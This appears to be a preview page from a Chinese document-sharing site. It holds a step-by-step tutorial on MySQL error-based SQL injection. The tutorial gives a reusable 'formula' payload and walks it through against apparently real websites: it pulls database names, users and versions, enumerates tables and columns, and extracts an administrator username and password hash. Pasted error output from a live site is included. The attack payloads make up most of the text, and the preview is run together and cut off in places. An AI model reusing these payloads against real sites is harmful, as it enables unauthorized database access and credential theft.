资源预览内容
第1页 / 共6页
第2页 / 共6页
第3页 / 共6页
第4页 / 共6页
第5页 / 共6页
第6页 / 共6页
亲,该文档总共6页全部预览完了,如果喜欢就下载吧!
资源描述
MySQL 错误回显套公式法注入1.公式原理mySQL 报错回显爆数据,其实主要就是套公式,公式分为 4 部分1,逻辑错误部分,也就是将 GET 变量取值变为逻辑错误值,例如.php?id=0 或者.php?id=12+and+1=22,固定 SQL 联合查询语句,语句为:( 核心)union select 1 from (select+count(*),concat(floor(rand(0)*2),(注入爆数据语句)a from information_schema.tables group by a)b3,注释语句,将整个语句后面的部分注释掉,可以用/*注释符,也可以用-终止符,也可以用%23 这个#字符4,注入爆数据语句,基本格式就是 select XX from YY 的格式。-注意了!这 4 个固定公式唯一要注意的是最后一个,最后一个每次只能爆单条数据,不能 updata不能 insert into不能 load_file()不能 group_concat(),有的 concat()也不能用=嚓这样爆数据的话,就要加一个 limit x,y 的限制条件也就是 select XX from YY limit a,ba 是从第几条开始,从 0 开始为以一条,b 为目标一共几条数据,这里固定为 1,也就是说limit 0,1 是第 1 条数据,limit 1,1 是第 2 条数据,一次类推。-2.具体的实践上面的逻辑你搞不清楚不要紧,你可以先看注入语句再回头研究每个语句的含义MySQL 显示当前数据库名,登陆用户,数据库版本和数据路径的语句是:select concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,datadir)将上面的 SQL 语句作为语句 4 带入供述就得到注入语句:http:/zone-h.com.cn/detail.php?ID=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,datadir)a+from+information_schema.tables+group+by+a)b=符合了前面的注意我们访问一下就得到了:SQL 语句错误: Duplicate entry 1:mc110_mc110:mc110localhost:5.1.34:/usr/local/mysql/var/ for key group_keyDuplicate entry 后面的引号中的就是数据,固定去掉数字“1”mc110_mc110 是数据库名mc110localhost 是数据库用户5.1.34 是版本/usr/local/mysql/var/这里是 MySQL 的数据路径然后我们继续看MySQL 显示当前所有数据库的表?语句为:select table_name from information_schema.tables where table_schema = database() limit 0,1或者select table_name from information_schema.columns where table_schema = database() limit 0,1将这句 SQL 语句作为上面公式中的 4,就得到注入语句:http:/zone-h.com.cn/detail.php?ID=0+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)a+from+information_schema.tables+group+by+a)b复制代码访问得到:SQL 语句错误: Duplicate entry 15epe_admin for key group_key其中 5epe_admin 就是数据表 (注意,去掉固定数字:1)根据上面语句,分别将 limit 0,1 改为 limit 1,1 limit 2,1。 。 。 。一直到提示“SQL 语句错误: The used SELECT statements have a different number of columns”的时候数据就爆完了数据库的表一共有这些 5epe_admin,5epe_log,5epe_title,bbs,category,hkd_adtxt,link,news表示第一个表一定是管理员表然后是 MySQL 表字段的语句select column_name from information_schema.columns where table_name = 5epe_admin limit 0,1将 table_name = 5epe_admin改为 hex 数据格式:table_name=0x356570655f61646d696e带入语句带公式:http:/zone-h.com.cn/detail.php?ID=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_name+from+information_schema.columns+where+table_name=0x356570655f61646d696e+limit+0,1)a+from+information_schema.tables+group+by+a)b得到 5epe_admin 表段中第 1 个字段名为 Idhttp:/zone-h.com.cn/detail.php?ID=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_name+from+information_schema.columns+where+table_name=0x356570655f61646d696e+limit+1,1)a+from+information_schema.tables+group+by+a)b修改 limit 值得到 5epe_admin 表段中第 2 个字段为 adminnamehttp:/zone-h.com.cn/detail.php?ID=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+column_name+from+information_schema.columns+where+table_name=0x356570655f61646d696e+limit+2,1)a+from+information_schema.tables+group+by+a)b修改 limit 值得到 5epe_admin 表段中第 3 个字段为 adminname复制代码到第四个就没有数据了,那么这样就得到:5epe_admin 这个表的结构为:Id,adminname,adminpass下面爆这个管理员数据,SQL 语句为:select concat(0x3a,Id,0x3a,adminname,0x3a,adminpass) from 5epe_admin复制代码带入公式:http:/zone-h.com.cn/detail.php?ID=-1+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,adminname,0x3a,adminpass)+from+5epe_admin+limit+0,1)a+from+information_schema.tables+group+by+a)b访问后得到数据:admin:8e02a1062c785a4b13eca9bb78e21783解密后的密码见 2 楼这样一来,一次 MySQL 错误回显注入的过程就完成了。=所以:http:/taise.org.tw/active_areashow2.php?id=67+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,datadir)a+from+information_schema.tables+group+by+a)b :SQL : select * from event_h where isshow=1 and langid=tw and id=67 union select 1 from (select count(*),concat(floor(rand(0)*2),(select concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,datadir)a from information_schema.tables group by a)bMysql error description: Duplicate entry 1:taise1:taise1localhost:5.0.95:/var/lib/mysql/ for key 1 Mysql error number: 1062 Date: 2013-06-11 23:17 Script: http:/taise.org.tw/active_areashow2.php?id=67+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,datadir)a+from+information_schema.tables+group+by+a)b Referer: basename()=taise1 User()=taise1localhostVersion()=5.0.95datadir)=/var/lib/mysql/http:/taise.org.tw/active_areashow2.php?id=67%20and(select%201%20from(select%
收藏 下载该资源
网站客服QQ:2055934822
金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号